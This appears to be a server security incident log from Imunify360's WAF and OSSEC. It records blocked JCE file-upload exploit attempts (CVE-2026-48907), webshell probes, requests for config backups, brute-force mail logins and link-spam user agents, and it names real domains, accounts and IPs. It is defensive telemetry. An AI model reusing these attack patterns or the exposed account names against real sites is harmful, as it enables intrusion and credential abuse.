# incident

plugin: modsec
rule: 77469916
abuser: 91.92.42.135
country_id: 2750405
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-56a09c66.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 08:52:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 08:54:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 151.241.154.226
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_82cedc3e.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 08:55:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 09:01:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://miami.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 09:06:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 09:06:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 151.241.154.226
country_id: 6252001
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_c44fc3fd.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 09:15:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 09:15:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 140.130.98.240
country_id: 1668284
description:
Jul 22 09:17:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 140.130.98.240 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.130.98.240
country_id: 1668284
description:
2026-07-22 09:17:56 dovecot_login authenticator failed for H=([157.85.13.153]) [140.130.98.240]:51582: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 151.241.154.226
country_id: 6252001
domain: idealloanz.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_4c469155.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.3.4.69
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://yedhod18.com/catalog/olf-thai-xxx/\">\xe0\xb8\xab\xe0\xb8\x99\xe0\xb8\xb1\xe0\xb8\x87\xe0\xb9\x82\xe0\xb8\x9b\xe0\xb9\x8a\xe0\xb8\xab\xe0\xb8\xb5</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 09:19:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 151.241.154.226
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_3052ae55.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 09:22:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 89.147.162.130
country_id: 286963
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://track.slotlandaffiliates.com/visit/?bta=567825&brand=slotland\">casino games real money online casino slots</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 196.251.121.103
country_id: 241170
description:
2026-07-22 09:24:45 H=([196.251.121.103]) [196.251.121.103]:64917 F=<henry@mailling.co.uk> rejected RCPT <mbt@globalgroupoman.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.216.198.132
country_id: 630336
description:
Jul 22 09:25:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.216.198.132 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.216.198.132
country_id: 630336
description:
2026-07-22 09:25:58 dovecot_plain authenticator failed for H=(choidaens) [46.216.198.132]:44058: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.224.32.92
country_id: 1269750
description:
Jul 22 09:25:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.224.32.92 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.224.32.92
country_id: 1269750
description:
2026-07-22 09:26:01 dovecot_plain authenticator failed for H=(pronised) [103.224.32.92]:8417: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 09:27:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 09:28:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://wiki.playfulexploration.com/index.php?title=User:PansySkidmore7\">b\xc3\xa0i vi\xe1\xba\xbft v\xe1\xbb\x81 c\xc3\xa0 ph\xc3\xaa gh\xc3\xa9p</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 151.241.154.226
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_6749ef20.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.86.169.92
country_id: 1819730
description:
Jul 22 09:30:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.86.169.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.192.211.180
country_id: 1269750
description:
Jul 22 09:31:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.192.211.180 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.211.180
country_id: 1269750
description:
2026-07-22 09:31:19 dovecot_login authenticator failed for H=([171.211.123.106]) [203.192.211.180]:38178: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 151.241.154.226
country_id: 6252001
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_fd8ba332.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.175.87.68
country_id: 6252001
description:
Jul 22 09:31:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.175.87.68 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.175.87.68
country_id: 6252001
description:
2026-07-22 09:31:53 dovecot_login authenticator failed for H=wsip-98-175-87-68.ks.ks.cox.net (visaotur.sdr.gvt.net.br) [98.175.87.68]:54790: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.163.185
country_id: 6252001
description:
Jul 22 09:32:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.163.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.104.127.49
country_id: 1269750
description:
Jul 22 09:35:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.104.127.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.104.127.49
country_id: 1269750
description:
2026-07-22 09:35:07 dovecot_login authenticator failed for H=([49.124.132.53]) [103.104.127.49]:2174: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 09:36:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 23.161.169.114
country_id: 2635167
domain: ibmcglobal.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||User:ibmcglobal||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 122.181.105.119
country_id: 1269750
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:32111.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f75a53f00122da1a66a5d3dd53ba0a425ea2c1a6||Title:3fwicbwnil2u66ye||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 151.241.154.226
country_id: 6252001
domain: gsmex.global
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_f46eb938.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 123.231.59.88
country_id: 1227603
domain: elegantautomotives.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:77781.elegantautomotives.com||ServerName:elegantautomotives.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:721613cd2b18351c0448620f15c8a844f585c8e3||Title:0x8cde5a94||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.148.186
country_id: 1733045
description:
Jul 22 09:43:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.148.186 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.186
country_id: 1733045
description:
2026-07-22 09:43:17 dovecot_login authenticator failed for H=([222.71.122.90]) [49.124.148.186]:53640: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 217.60.120.179
country_id: 2661886
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://testimonialtree.com/signupform.aspx?plan_code=TT-RE-Agent-Annual-110122&pricingUrl=https://pacificllm.com/notice/3591363\">vehicle guide</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 09:42:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.37.150.6
country_id: 1835841
description:
Jul 22 09:43:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.37.150.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.37.150.6
country_id: 1835841
description:
2026-07-22 09:43:02 dovecot_login authenticator failed for H=([211.223.41.90]) [61.37.150.6]:53164: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 09:44:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 151.241.154.226
country_id: 6252001
domain: jaashsupplies.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_8dbe60b9.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.9.53.196
country_id: 6252001
description:
2026-07-22 09:47:31 dovecot_login authenticator failed for H=([115.245.172.214]) [170.9.53.196]:56736: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.9.53.196
country_id: 6252001
description:
Jul 22 09:47:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.9.53.196 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 09:48:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.195.39.149
country_id: 3017382
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/images/images/cache.php||SC:/home/ahsmarine/public_html/images||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-22 09:56:50 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 09:56:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 09:59:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 160.250.80.197
country_id: 1269750
domain: kallanigroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:54031.kallanigroup.com||ServerName:kallanigroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a946cc55b9fa9a71f1116aca7a48d434c26e0c6b||Title:d8tvmqltgrvajsw||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/yohoho-unblocked-76\">yohoho unblocked 76</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 194.103.82.72
country_id: 2661886
description:
2026-07-22 10:05:08 dovecot_login authenticator failed for H=194-103-82-72.ip.obe.net ([178.178.222.55]) [194.103.82.72]:44222: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.46.148.53
country_id: 1605651
description:
2026-07-22 10:04:55 dovecot_login authenticator failed for H=119-46-148-53.static.asianet.co.th ([213.166.81.12]) [119.46.148.53]:56726: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.103.82.72
country_id: 2661886
description:
Jul 22 10:05:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.103.82.72 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.213.137.209
country_id: 1835841
description:
Jul 22 10:05:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.213.137.209 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.213.137.209
country_id: 1835841
description:
2026-07-22 10:05:32 dovecot_login authenticator failed for H=([92.84.21.186]) [175.213.137.209]:39900: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.46.148.53
country_id: 1605651
description:
Jul 22 10:04:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.46.148.53 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.95.64.28
country_id: 6252001
description:
Jul 22 10:06:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.95.64.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.95.64.28
country_id: 6252001
description:
2026-07-22 10:06:32 dovecot_login authenticator failed for H=(211-21-168-139.hinet-ip.hinet.net) [70.95.64.28]:58155: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 22 10:05:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.120.1.3
country_id: 1668284
description:
Jul 22 10:05:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.120.1.3 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.1.3
country_id: 1668284
description:
2026-07-22 10:05:58 dovecot_login authenticator failed for H=221-120-1-3.emome-ip.hinet.net ([49.124.153.40]) [221.120.1.3]:52264: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.250.160.76
country_id: 1269750
description:
2026-07-22 10:06:38 dovecot_login authenticator failed for H=([49.238.215.194]) [103.250.160.76]:58144: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.250.160.76
country_id: 1269750
description:
Jul 22 10:06:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.250.160.76 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.197.168.53
country_id: 1819730
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.icon-win.org/\">slot depo 5k</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 10:09:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 10:12:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 151.241.154.226
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_ffd4f426.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 10:17:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.124
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.124||TA:38.154.206.124||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.125
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.125||TA:38.154.206.125||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.126
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.126||TA:38.154.206.126||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.128
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.128||TA:38.154.206.128||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.129
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.129||TA:38.154.206.129||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.130
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.130||TA:38.154.206.130||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.127
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.127||TA:38.154.206.127||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.132
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.132||TA:38.154.206.132||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.134
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.134||TA:38.154.206.134||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.131
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.131||TA:38.154.206.131||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.133
country_id: 6252001
domain: www.ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.133||TA:38.154.206.133||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 22 10:22:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.158.208.139
country_id: 1668284
description:
2026-07-22 10:22:43 dovecot_login authenticator failed for H=([125.134.191.222]) [49.158.208.139]:40848: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.158.208.139
country_id: 1668284
description:
Jul 22 10:22:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.158.208.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 22 10:29:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 38.154.206.135
country_id: 6252001
domain: ogocindia.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:38.154.206.135||TA:38.154.206.135||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 22 10:30:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 196.247.225.211
country_id: 2623032
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://yedhod18.com/video-tag/%E0%B8%84%E0%B8%A5%E0%B8%B4%E0%B8%9B%E0%B8%AB%E0%B8%A5%E0%B8%B8%E0%B8%94/\">YEDHOD18</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 22 10:34:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 22 10:38:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.86.169.92
country_id: 1819730
description:
Jul 22 10:41:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.86.169.92 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
